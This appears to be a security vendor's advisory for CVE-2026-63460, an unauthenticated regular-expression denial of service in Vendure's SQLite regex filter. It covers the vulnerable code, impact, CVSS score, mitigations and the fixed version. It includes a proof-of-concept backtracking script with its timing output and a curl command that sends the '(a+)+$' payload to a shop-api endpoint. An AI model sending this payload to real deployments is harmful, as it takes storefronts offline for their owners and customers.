CVE-2026-63460

Vendure: Unauthenticated ReDoS via regex filter on SQLite backends

private registerSQLiteRegexpFunction() {
    const regexpFn = (pattern: string, value: string) => {
        const result = new RegExp(`${pattern}`, 'i').test(value);  // user-controlled pattern
        return result ? 1 : 0;
    };
    if (dbType === 'better-sqlite3') {
        driver.databaseConnection.function('regexp', regexpFn);
    }
    if (dbType === 'sqljs') {
        driver.databaseConnection.create_function('regexp', regexpFn);
    }
}

case 'regex':
    return {
        clause: getRegexpClause(fieldName, argIndex, dbType),
        parameters: { [`arg${argIndex}`]: operand },  // operand = raw user input
    };

async canAccess(ctx: RequestContext, permissions: Permission[]): Promise<boolean> {
    if (permissions.length === 0) {
        return true;   // no @Allow → public
    }
    ...
}

// Exact code from list-query-builder.ts:918-919
const PATTERN = '(a+)+$';
const VALUE   = 'a'.repeat(28) + 'b';
console.log('[*] pattern:', PATTERN, '  value:', VALUE);
console.log('[*] Starting (server would be unresponsive from this point)...');
const start = Date.now();
const result = new RegExp(`${PATTERN}`, 'i').test(VALUE);
console.log('[+] elapsed:', Date.now() - start, 'ms  result:', result);

node poc-redos.js

[*] pattern: (a+)+$   value: aaaaaaaaaaaaaaaaaaaaaaaaaaaab
[*] Starting (server would be unresponsive from this point)...
[+] elapsed: 19755 ms  result: false

curl -s -X POST http://localhost:3000/shop-api -H "Content-Type: application/json" -d "{\"query\":\"{ products(options:{filter:{name:{regex:\\\"(a+)+$\\\"}}}) { items { id } } }\"}" --max-time 60

Vulnerability type: Regular Expression Denial of Service (ReDoS)

Who is impacted:

• Any Vendure deployment running with a better-sqlite3 or sqljs database driver (typical for development environments and single-server small deployments created via @vendure/create).
• Any unauthenticated internet user can trigger the attack, no credentials, no API key, no session.
• A single malicious HTTP request blocks the Node.js event loop, making the entire storefront and admin panel unresponsive until the regex engine times out (which may take tens of seconds to minutes depending on the host CPU and pattern chosen).
• Repeated requests constitute a sustained DoS requiring no more bandwidth than a single HTTP request per CPU-second.

A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use. Typical impact: denial of service when input is crafted to trigger backtracking.

CVE-2026-63460 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.6.5); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. Validate the regex before constructing it. Reject patterns that are known to cause catastrophic backtracking using a safe-regex library (e.g. safe-regex2 or recheck) before passing them to new RegExp().

2. Enforce a maximum pattern length. Reject StringOperators.regex values exceeding a reasonable limit (e.g. 100 characters) at the GraphQL validation layer.

3. Run the UDF in a worker thread. Move regexpFn off the main event loop by executing it in a worker_threads context with an AbortSignal timeout so a hung regex cannot block the server.

4. Require authentication for filtered list queries. Add @Allow(Permission.Authenticated) to ShopProductsResolver.products (and other filterable list queries) if anonymous product browsing is not a business requirement, as a defence-in-depth measure.

1. What is CVE-2026-63460? CVE-2026-63460 is a high-severity inefficient regular expression (ReDoS) vulnerability in vendure/core (npm), affecting versions <= 3.6.4. It is fixed in 3.6.5. A regular expression with worst-case exponential or polynomial matching time is applied to untrusted input, causing excessive CPU use.
2. How severe is CVE-2026-63460? CVE-2026-63460 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of vendure/core are affected by CVE-2026-63460? vendure/core (npm) versions <= 3.6.4 is affected.
4. Is there a fix for CVE-2026-63460? Yes. CVE-2026-63460 is fixed in 3.6.5. Upgrade to this version or later.
5. Is CVE-2026-63460 exploitable, and should I be worried? Whether CVE-2026-63460 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-63460 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-63460? Upgrade vendure/core to 3.6.5 or later.